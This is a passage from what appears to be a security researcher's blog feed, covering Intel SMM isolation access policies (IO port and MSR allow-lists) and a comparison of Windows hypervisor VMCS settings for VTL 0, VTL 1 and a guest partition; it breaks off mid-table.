01   | 06   | 004B   | Yes     | SMM GDT limit and base
02   | 0A   | 0660   | Yes     | SMM IDT limit and base
03   | 04   | 0086   | Yes     | SMM CR3
05   | 08   | 04BD   | Yes     | SMM_SUPOVR_STATE_LOCK (0x141)
06   | 04   | 0065   | Yes     | SMM Stack pointer
07   | 04   | 0074   | Yes     | SMM Stack size
08   | 04   | 0676   | Yes     |
09   | 04   | 067A   | Yes     |
0A   | 04   | 067E   |         |
0B   | 04   | 0682   |         |
0C   | 01   | 0400   |         | Allow write-access to debug registers
0D   | 01   | 042B   | Yes     |
16   | 08   | 066A   | Yes     | SPS base
17   | 04   | 0672   |         |
80   | 01   | 049A   | Yes     | User-mode enabled
81   | 08   | 04DD   | Yes     | User-mode entry point
82   | 04   | 0492   | Yes     | User-mode stack pointer
83   | 04   | 068E   | Yes     | User-mode stack size
84   | 08   | 0692   | Yes     | User-mode exception handler
85   | 04   | 0474   | Yes     |
86   | 04   | 047B   | Yes     |
91   | 08   | 069A   | Yes     | MSR bitmap address
94   | 08   | 017B   | Yes     | SMM XCR
95   | 08   | 0197   | Yes     | SMM IA32_XSS
FF   | 00   | 0000   |         | End of the list
</code></pre></div>  </div>

</details>

<h3 id="default-io-port-access-policy">Default IO port access policy</h3>

<details>
  <summary>Click to expand</summary>

  <p>The following IO ports are allowed to access with the <code class="language-plaintext highlighter-rouge">IN</code>, <code class="language-plaintext highlighter-rouge">OUT</code>, <code class="language-plaintext highlighter-rouge">INS</code>, and <code class="language-plaintext highlighter-rouge">OUT</code> instructions from user-mode:</p>

  <ul>
    <li>0x2e - 0x2f</li>
    <li>0x4e - 0x4f</li>
    <li>0x60</li>
    <li>0x62</li>
    <li>0x64</li>
    <li>0x66</li>
    <li>0x70 - 0x77</li>
    <li>0x80 - 0x83</li>
    <li>0xb2 - 0xb3</li>
    <li>0x2e8 - 0x2ef</li>
    <li>0x2f8 - 0x2ff</li>
    <li>0x3e8 - 0x3ef</li>
    <li>0x3f8 - 0x3ff</li>
    <li>0x400 - 0x413</li>
    <li>0xcf9</li>
    <li>0x1800 - 0x187f</li>
    <li>0xefa0 - 0xefb7</li>
  </ul>

</details>

<h3 id="default-msr-access-policy">Default MSR access policy</h3>

<details>
  <summary>Click to expand</summary>

  <p>The following MSRs are allowed to access with the <code class="language-plaintext highlighter-rouge">RDMSR</code> and <code class="language-plaintext highlighter-rouge">WRMSR</code> instructions from user-mode, unless noted otherwise:</p>

  <ul>
    <li>1bh  - IA32_APIC_BASE</li>
    <li>35h  - MSR_CORE_THREAD_COUNT</li>
    <li>35h  - MSR_CORE_THREAD_COUNT (Hey Intel, you have two of this)</li>
    <li>3ah  - IA32_FEATURE_CONTROL</li>
    <li>9dh  - undocumented (MSR_SMM_PROT_MODE_BASE)</li>
    <li>9eh  - IA32_SMBASE (No <code class="language-plaintext highlighter-rouge">WRMSR</code> allowed)</li>
    <li>ceh  - MSR_PLATFORM_INFO</li>
    <li>feh  - IA32_MTRRCAP</li>
    <li>110h - undocumented (MSR_PLAT_FRMW_PROT_CTRL)</li>
    <li>115h - undocumented (MSR_PLAT_FRMW_PROT_TRIG_PARAM)</li>
    <li>116h - undocumented (MSR_PLAT_FRMW_PROT_TRIGGER)</li>
    <li>179h - IA32_MCG_CAP</li>
    <li>17ah - IA32_MCG_STATUS</li>
    <li>17dh - MSR_SMM_MCA_CAP</li>
    <li>194h - MSR_MCG_R12</li>
    <li>19bh - IA32_THERM_INTERRUPT</li>
    <li>19ch - IA32_THERM_STATUS</li>
    <li>1a0h - IA32_MISC_ENABLE</li>
    <li>1a2h - MSR_TEMPERATURE_TARGET</li>
    <li>1aah - MSR_MISC_PWR_MGMT</li>
    <li>1adh - MSR_TURBO_RATIO_LIMIT</li>
    <li>1b1h - IA32_PACKAGE_THERM_STATUS</li>
    <li>1b2h - IA32_PACKAGE_THERM_INTERRUPT</li>
    <li>1d9h - IA32_DEBUGCTL</li>
    <li>1f2h - IA32_SMRR_PHYSBASE</li>
    <li>1f3h - IA32_SMRR_PHYSMASK</li>
    <li>1feh - undocumented (MSR_SPCL_CHIPSET_USAGE)</li>
    <li>4d0h - IA32_MCG_EXT_CTL</li>
    <li>4e0h - MSR_SMM_FEATURE_CONTROL</li>
    <li>4e3h - MSR_SMM_BLOCKED</li>
    <li>606h - MSR_RAPL_POWER_UNIT</li>
    <li>610h - MSR_PKG_POWER_LIMIT</li>
    <li>614h - MSR_PKG_POWER_INFO</li>
    <li>770h - IA32_PM_ENABLE</li>
    <li>773h - IA32_HWP_INTERRUPT</li>
    <li>777h - IA32_HWP_STATUS</li>
    <li>791h - undocumented (R_SA_MSRIO_ADDRESS)</li>
    <li>802h - IA32_X2APIC_APICID (No <code class="language-plaintext highlighter-rouge">WRMSR</code> allowed)</li>
    <li>830h - IA32_X2APIC_ICR</li>
    <li>833h - IA32_X2APIC_LVT_THERMAL</li>
  </ul>

</details>

<h3 id="dells-additional-io-port-access-policy">Dell’s additional IO port access policy</h3>

<details>
  <summary>Click to expand</summary>

  <p>The following IO ports are additionally allowed to access per Dell’s customization:</p>
  <ul>
    <li>0x900 - 0x901</li>
    <li>0x930</li>
    <li>0x934</li>
    <li>0xa1</li>
    <li>0x94e - 0x94f (Optional)</li>
    <li>0x20 (Optional)</li>
    <li>0xa0 (Optional)</li>
  </ul>

</details>

<h3 id="dells-additional-msr-access-policy">Dell’s additional MSR access policy</h3>

<details>
  <summary>Click to expand</summary>

  <p>The following MSRs are additionally allowed to access per Dell’s customization:</p>
  <ul>
    <li>34h - MSR_SMI_COUNT</li>
    <li>8bh - IA32_BIOS_SIGN_ID</li>
    <li>e2h - MSR_PKG_CST_CONFIG_CONTROL</li>
    <li>13ah - undocumented (MSR_BOOT_GUARD_SACM_INFO)</li>
    <li>198h - IA32_PERF_STATUS</li>
    <li>19ah - IA32_CLOCK_MODULATION</li>
    <li>1fch - MSR_POWER_CTL</li>
    <li>200h - IA32_MTRR_PHYSBASE0</li>
    <li>250h - IA32_MTRR_FIX64K_00000</li>
    <li>258h - IA32_MTRR_FIX16K_80000</li>
    <li>259h - IA32_MTRR_FIX16K_A0000</li>
    <li>268h - IA32_MTRR_FIX4K_C0000</li>
    <li>280h - IA32_MC0_CTL2</li>
    <li>281h - IA32_MC1_CTL2</li>
    <li>282h - IA32_MC2_CTL2</li>
    <li>283h - ..</li>
    <li>284h - ..</li>
    <li>285h - ..</li>
    <li>286h - ..</li>
    <li>287h - ..</li>
    <li>288h - ..</li>
    <li>289h - ..</li>
    <li>28ah - ..</li>
    <li>28bh - ..</li>
    <li>28ch - ..</li>
    <li>28dh - ..</li>
    <li>28eh - ..</li>
    <li>28fh - ..</li>
    <li>290h - ..</li>
    <li>291h - ..</li>
    <li>292h - ..</li>
    <li>293h - ..</li>
    <li>294h - ..</li>
    <li>295h - ..</li>
    <li>296h - ..</li>
    <li>297h - ..</li>
    <li>298h - ..</li>
    <li>299h - ..</li>
    <li>29ah - ..</li>
    <li>29bh - ..</li>
    <li>29ch - ..</li>
    <li>29dh - ..</li>
    <li>29eh - ..</li>
    <li>29fh - IA32_MC31_CTL2</li>
    <li>2ffh - IA32_MTRR_DEF_TYPE</li>
    <li>3f8h - MSR_PKG_C3_RESIDENCY</li>
    <li>3f9h - MSR_PKG_C4_RESIDENCY</li>
    <li>3fah - MSR_PKG_C6_RESIDENCY</li>
    <li>3fch - MSR_CORE_C3_RESIDENCY</li>
    <li>3fdh - MSR_CORE_C6_RESIDENCY</li>
    <li>3feh - MSR_CORE_C7_RESIDENCY</li>
    <li>400h - IA32_MC0_CTL</li>
    <li>401h - IA32_MC0_STATUS</li>
    <li>404h - IA32_MC1_CTL</li>
    <li>405h - IA32_MC1_STATUS</li>
    <li>408h - IA32_MC2_CTL</li>
    <li>409h - IA32_MC2_STATUS</li>
    <li>40ch - ..</li>
    <li>40dh - ..</li>
    <li>410h - ..</li>
    <li>411h - ..</li>
    <li>414h - ..</li>
    <li>415h - ..</li>
    <li>418h - ..</li>
    <li>419h - ..</li>
    <li>41ch - ..</li>
    <li>41dh - ..</li>
    <li>420h - ..</li>
    <li>421h - ..</li>
    <li>424h - ..</li>
    <li>425h - ..</li>
    <li>428h - ..</li>
    <li>429h - ..</li>
    <li>42ch - ..</li>
    <li>42dh - ..</li>
    <li>430h - ..</li>
    <li>431h - ..</li>
    <li>434h - ..</li>
    <li>435h - ..</li>
    <li>438h - ..</li>
    <li>439h - ..</li>
    <li>43ch - ..</li>
    <li>43dh - ..</li>
    <li>440h - ..</li>
    <li>441h - ..</li>
    <li>444h - ..</li>
    <li>445h - ..</li>
    <li>448h - ..</li>
    <li>449h - ..</li>
    <li>44ch - ..</li>
    <li>44dh - ..</li>
    <li>450h - ..</li>
    <li>451h - ..</li>
    <li>454h - ..</li>
    <li>455h - ..</li>
    <li>458h - ..</li>
    <li>459h - ..</li>
    <li>45ch - ..</li>
    <li>45dh - ..</li>
    <li>460h - ..</li>
    <li>461h - ..</li>
    <li>464h - ..</li>
    <li>465h - ..</li>
    <li>468h - ..</li>
    <li>469h - ..</li>
    <li>46ch - ..</li>
    <li>46dh - ..</li>
    <li>470h - IA32_MC28_CTL</li>
    <li>471h - IA32_MC28_STATUS</li>
    <li>630h - MSR_PKG_C8_RESIDENCY</li>
    <li>631h - MSR_PKG_C9_RESIDENCY</li>
    <li>632h - MSR_PKG_C10_RESIDENCY</li>
    <li>790h - undocumented (MC_ERR_INJ_LCK)</li>
    <li>802h - IA32_X2APIC_APICID</li>
  </ul>

</details>

<hr />

<p><em>Found this post interesting? We offer a training course about the Intel virtualization technology. <a href="https://tandasat.github.io/">Check out the course syllabus</a>.</em></p>]]></content><author><name></name></author><summary type="html"><![CDATA[This two-post series details the inner workings of System Management Mode (SMM) isolation on the Intel platform and interaction with Windows.]]></summary></entry><entry><title type="html">Hypervisor enforced security policies for NTOS, secure kernel and a child partition</title><link href="/blog/2024/02/12/hyper-v-configs.html" rel="alternate" type="text/html" title="Hypervisor enforced security policies for NTOS, secure kernel and a child partition" /><published>2024-02-12T00:00:00+00:00</published><updated>2024-02-12T00:00:00+00:00</updated><id>/blog/2024/02/12/hyper-v-configs</id><content type="html" xml:base="/blog/2024/02/12/hyper-v-configs.html"><![CDATA[<p>This post aims to clarify security policies implemented by the Windows hypervisor for the root partition VTL 0 (NTOS), 1 (secure kernel), and a child partition (guest VM) by comparing their VMCSes on an Intel platform.</p>

<ul>
  <li><a href="#summary">Summary</a></li>
  <li><a href="#setup">Setup</a></li>
  <li><a href="#comparison">Comparison</a>
    <ul>
      <li><a href="#msrs">MSRs</a></li>
      <li><a href="#io-ports">IO ports</a></li>
      <li><a href="#memory">Memory</a></li>
      <li><a href="#control-fields">Control fields</a>
        <ul>
          <li><a href="#pin-based-vm-execution-controls">Pin-based VM-execution controls</a></li>
          <li><a href="#primary-processor-based-vm-execution-controls">Primary processor-based VM-execution controls</a></li>
          <li><a href="#secondary-processor-based-vm-execution-controls">Secondary processor-based VM-execution controls</a></li>
          <li><a href="#primary-vm-exit-controls">Primary VM-exit controls</a></li>
          <li><a href="#vm-entry-controls">VM-entry controls</a></li>
          <li><a href="#encls-exiting-bitmap">ENCLS-exiting bitmap</a></li>
          <li><a href="#exception-bitmap">Exception bitmap</a></li>
          <li><a href="#cr0-guesthost-mask">CR0 guest/host mask</a></li>
          <li><a href="#cr4-guesthost-mask">CR4 guest/host mask</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li><a href="#call-for-actions">Call for actions</a></li>
  <li><a href="#reference-steps-to-get-them">Reference: steps to get them</a></li>
</ul>

<h2 id="summary">Summary</h2>

<p>I start with the summary of my take, as the rest of this article is fairly “dry”.</p>

<p>The most interesting difference is VTL 1 having writable code. I heard of this but never verified it myself. I knew VTL 1 mapped UEFI runtime service code with the writable permission when the <a href="https://uefi.org/specs/UEFI/2.10/04_EFI_System_Table.html#efi-memory-attributes-table">Memory
Attributes Table</a> was unavailable, but my target system did have it and properly implemented W^X (<a href="https://github.com/tandasat/List-UEFI-Configuration-Tables">ref</a>). I am unclear why code is left writable almost entirely. Similarly, it is questionable that IA32_EFER.NXE is not set for the VTL 1 guest.</p>

<p>The other intriguing part is largely accessible IO ports from VTL 0. I would have to study the functionality of these IO ports a bit more to be confident to say these are ok in this way. You may find the list of documented IO ports in volume 1 of the PCH specification, for example:</p>

<p><img src="/blog/img/posts/2024-02-12/io-ports.png" alt="" /></p>

<p>On MSRs, besides the undocumented MSRs, it is worth recreating the list on newer models as it might change depending on the existence of physical MSRs. Additionally, <code class="language-plaintext highlighter-rouge">IA32_SPEC_CTRL</code> being writable from the child partition is interesting. Could not a guest disable mitigation features and leak information? I would be curious to know.</p>

<p>On CR4, it is interesting that more bits are intercepted and shadowed for VTL 0 than the child partition. I cannot think of a reason off the top of my head.</p>

<p>It may be good security research to compare these with other hypervisor-protected systems. Is there a similar software architecture with a different setup, and would that imply overlooked security holes on that system or Windows? In addition to that, being intercepted by a hypervisor does not mean there is no chance of a bug; it is an attack surface to be inspected.</p>

<p>The rest of the post analyzes <a href="https://gist.github.com/tandasat/3a60ee4cc5b9519cadf60393814918e9">raw data</a>.</p>

<h2 id="setup">Setup</h2>

<p>I checked VMCS configurations on Windows 11 22H2 on the 9th generation Intel processor. The guest partition is Windows 11 22H2 with Hyper-V configuration version 11.0. HVCI is enabled for the root partition and disabled for the guest partition.</p>

<h2 id="comparison">Comparison</h2>

<h3 id="msrs">MSRs</h3>

<p>The lists of MSRs accessible without interception are the same between VTL 0 and 1. The child partition can access only a subset of these MSRs.</p>

<details>

  <p>This is a list of writable MSRs for VTL 0 and 1. Ones writable from the child partition are marked with (G).</p>

  <ul>
    <li>0x0   - IA32_P5_MC_ADDR</li>
    <li>0x48  - IA32_SPEC_CTRL (G)</li>
    <li>0x49  - IA32_PRED_CMD (G)</li>
    <li>0xc5  - IA32_PMC4</li>
    <li>0xc6  - IA32_PMC5</li>
    <li>0xc7  - IA32_PMC6</li>
    <li>0xc8  - IA32_PMC7</li>
    <li>0xe2  - MSR_PKG_CST_CONFIG_CONTROL</li>
    <li>0xe3  -</li>
    <li>0xe7  - IA32_MPERF</li>
    <li>0xe8  - IA32_APERF</li>
    <li>0x10b - IA32_FLUSH_CMD (G)</li>
    <li>0x17b - IA32_MCG_CTL</li>
    <li>0x17f - MSR_ERROR_CONTROL</li>
    <li>0x18a - IA32_PERFEVTSEL4</li>
    <li>0x18b - IA32_PERFEVTSEL5</li>
    <li>0x18c - IA32_PERFEVTSEL6</li>
    <li>0x18d - IA32_PERFEVTSEL7</li>
    <li>0x198 - IA32_PERF_STATUS</li>
    <li>0x199 - IA32_PERF_CTL</li>
    <li>0x19a - IA32_CLOCK_MODULATION</li>
    <li>0x19b - IA32_THERM_INTERRUPT</li>
    <li>0x19c - IA32_THERM_STATUS</li>
    <li>0x19d - MSR_THERM2_CTL</li>
    <li>0x1a2 - MSR_TEMPERATURE_TARGET</li>
    <li>0x1ac - MSR_TURBO_POWER_CURRENT_LIMIT</li>
    <li>0x1ad - MSR_TURBO_RATIO_LIMIT</li>
    <li>0x1b0 - IA32_ENERGY_PERF_BIAS</li>
    <li>0x1b1 - IA32_PACKAGE_THERM_STATUS</li>
    <li>0x1b2 - IA32_PACKAGE_THERM_INTERRUPT</li>
    <li>0x1fa - IA32_DCA_0_CAP</li>
    <li>0x1fc - MSR_POWER_CTL</li>
    <li>0x30c - IA32_FIXED_CTR3</li>
    <li>0x30d - MSR_IQ_COUNTER1</li>
    <li>0x30e - MSR_IQ_COUNTER2</li>
    <li>0x30f - MSR_IQ_COUNTER3</li>
    <li>0x310 - MSR_IQ_COUNTER4</li>
    <li>0x311 - MSR_IQ_COUNTER5</li>
    <li>0x312 -</li>
    <li>0x313 -</li>
    <li>0x314 -</li>
    <li>0x315 -</li>
    <li>0x316 -</li>
    <li>0x317 -</li>
    <li>0x318 -</li>
    <li>0x329 - MSR_PERF_METRICS</li>
    <li>0x4c5 - IA32_A_PMC4</li>
    <li>0x4c6 - IA32_A_PMC5</li>
    <li>0x4c7 - IA32_A_PMC6</li>
    <li>0x4c8 - IA32_A_PMC7</li>
    <li>0x601 - MSR_VR_CURRENT_CONFIG</li>
    <li>0x609 -</li>
    <li>0x60a - MSR_PKGC3_IRTL</li>
    <li>0x60b - MSR_PKGC_IRTL1</li>
    <li>0x60c - MSR_PKGC_IRTL2</li>
    <li>0x610 - MSR_PKG_POWER_LIMIT</li>
    <li>0x615 - PLATFORM_POWER_LIMIT</li>
    <li>0x61e - MSR_PCIE_PLL_RATIO</li>
    <li>0x620 - UNCORE_RATIO_LIMIT</li>
    <li>0x621 - MSR_UNCORE_PERF_STATUS</li>
    <li>0x64f - MSR_CORE_PERF_LIMIT_REASONS</li>
    <li>0x65c - MSR_PLATFORM_POWER_LIMIT</li>
    <li>0x6b0 - MSR_GRAPHICS_PERF_LIMIT_REASONS</li>
    <li>0x6b1 - MSR_RING_PERF_LIMIT_REASONS</li>
    <li>0x772 - IA32_HWP_REQUEST_PKG</li>
    <li>0x773 - IA32_HWP_INTERRUPT</li>
    <li>0x774 - IA32_HWP_REQUEST</li>
    <li>0x777 - IA32_HWP_STATUS</li>
    <li>0x17d1 - IA32_HW_FEEDBACK_CONFIG</li>
    <li>0x17d2 - IA32_THREAD_FEEDBACK_CHAR</li>
    <li>0x17da - IA32_HRESET_ENABLE</li>
    <li>0xc0000100 - IA32_FS_BASE (G)</li>
    <li>0xc0000101 - IA32_GS_BASE (G)</li>
    <li>0xc0000102 - IA32_KERNEL_GS_BASE (G)</li>
  </ul>
</details>

<h3 id="io-ports">IO ports</h3>

<p>The lists of IO ports accessible without interception are different between 3 configurations.</p>
<ul>
  <li>For VTL 0, all ports except below are accessible:
    <ul>
      <li>0x20, 0x21, 0xa0, 0xa1 - Master and Slave PIC (<a href="https://wiki.osdev.org/PIC">reference</a>)</li>
      <li>0x64 - PS/2 Controller (<a href="https://wiki.osdev.org/%228042%22_PS/2_Controller">reference</a>)</li>
      <li>0xcf8, 0xcfc-0xcff - PCI config address and data (<a href="https://wiki.osdev.org/PCI">reference</a>)</li>
      <li>0x1805 - (upper) PM1 control registers</li>
    </ul>
  </li>
  <li>For VTL 1, all ports are accessible.</li>
  <li>For the child partition, none of the ports are accessible.</li>
</ul>

<h3 id="memory">Memory</h3>

<p>Below are a few observations with a quick look.</p>

<ul>
  <li>For both VTL 0 and 1, translations are identity-mapped.</li>
  <li>For VTL 1, code is almost entirely writable even if HVCI is enabled for VTL 0.</li>
  <li>For the child partition, translations are simple offsets within a few large blocks of physical memory.
    <ul>
      <li>For example, when GPA 0x0 is mapped to PA 0x224200000, GPA 0x4600000 is mapped to 0x228800000 (0x224200000 + 0x4600000).</li>
    </ul>
  </li>
</ul>

<h3 id="control-fields">Control fields</h3>

<h4 id="pin-based-vm-execution-controls">Pin-based VM-execution controls</h4>

<p>There is no difference between the 3 configurations.</p>

<details>

  <p>“1” means the feature is enabled.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>0 External-interrupt exiting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>3 NMI exiting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>5 Virtual NMIs</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>6 Activate VMX preemption timer</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>7 Process posted interrupts</td>
      </tr>
    </tbody>
  </table>

</details>

<h4 id="primary-processor-based-vm-execution-controls">Primary processor-based VM-execution controls</h4>

<p>There are a few differences.</p>
<ul>
  <li>for VTL 1, “Interrupt-window exiting” is enabled</li>
  <li>for the child partition, MWAIT, MONITOR, and MOV-DR are intercepted</li>
  <li>for the child partition, all IO port access are intercepted</li>
</ul>

<details>

  <p>“1” means the feature is enabled.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>1</td>
        <td>0</td>
        <td>2 Interrupt-window exiting 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>3 Use TSC offsetting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>7 HLT exiting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>9 INVLPG exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>10 MWAIT exiting 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>11 RDPMC exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>12 RDTSC exiting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>15 CR3-load exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>16 CR3-store exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>17 Activate tertiary controls</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>19 CR8-load exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>20 CR8-store exiting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>21 Use TPR shadow Setting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>22 NMI-window exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>23 MOV-DR exiting 🔔</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>24 Unconditional I/O exiting 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>0</td>
        <td>25 Use I/O bitmaps 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>27 Monitor trap flag</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>28 Use MSR bitmaps</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>29 MONITOR exiting 🔔</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>30 PAUSE exiting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>31 Activate secondary controls</td>
      </tr>
    </tbody>
  </table>

</details>

<h4 id="secondary-processor-based-vm-execution-controls">Secondary processor-based VM-execution controls</h4>

<p>There are a few differences:</p>
<ul>
  <li>For the child partition, “WBINVD” is intercepted.</li>
  <li>“Mode-based execute control for EPT” is enabled only for VTL 0. This is because VTL 1 does not have as strict memory protection as VTL 0, and the child partition (VM) was not configured to enable HVCI.</li>
</ul>

<details>

  <p>“1” means the feature is enabled.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>0 Virtualize APIC accesses</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>1 Enable EPT</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>2 Descriptor-table exiting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>3 Enable RDTSCP</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>4 Virtualize x2APIC mode</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>5 Enable VPID</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>1</td>
        <td>6 WBINVD exiting 🔔</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>7 Unrestricted guest</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>8 APIC-register virtualization</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>9 Virtual-interrupt delivery</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>11 RDRAND exiting</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>12 Enable INVPCID</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>13 Enable VM functions</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>14 VMCS shadowing</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>15 Enable ENCLS exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>16 RDSEED exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>17 Enable PML</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>18 EPT-violation #VE</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>19 Conceal VMX from PT</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>20 Enable XSAVES/XRSTORS</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>21 PASID translation</td>
      </tr>
      <tr>
        <td>1</td>
        <td>0</td>
        <td>0</td>
        <td>22 Mode-based execute control for EPT 🔔</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>23 Sub-page write permissions for EPT</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>24 Intel PT uses guest physical addresses</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>25 Use TSC scaling</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>26 Enable user wait and pause</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>27 Enable PCONFIG</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>28 Enable ENCLV exiting</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td> </td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>30 VMM bus-lock detection</td>
      </tr>
      <tr>
        <td>0</td>
        <td>0</td>
        <td>0</td>
        <td>31 Instruction timeout</td>
      </tr>
    </tbody>
  </table>

</details>

<h4 id="primary-vm-exit-controls">Primary VM-exit controls</h4>

<p>For the child partition, “Load IA32_PAT” is enabled.</p>

<details>

  <p>“1” means the feature is enabled.</p>

  <table>
    <thead>
      <tr>
        <th>VTL 0</th>
        <th>VTL 1</th>
        <th>Child</th>
        <th>Bits</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>2 Save debug controls</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td>9 Host address-space size</td>
      </tr>
      <tr>
        <td>1</td>
        <td>1</td>
        <td>1</td>
        <td> </td>
      </tr>
      <tr>
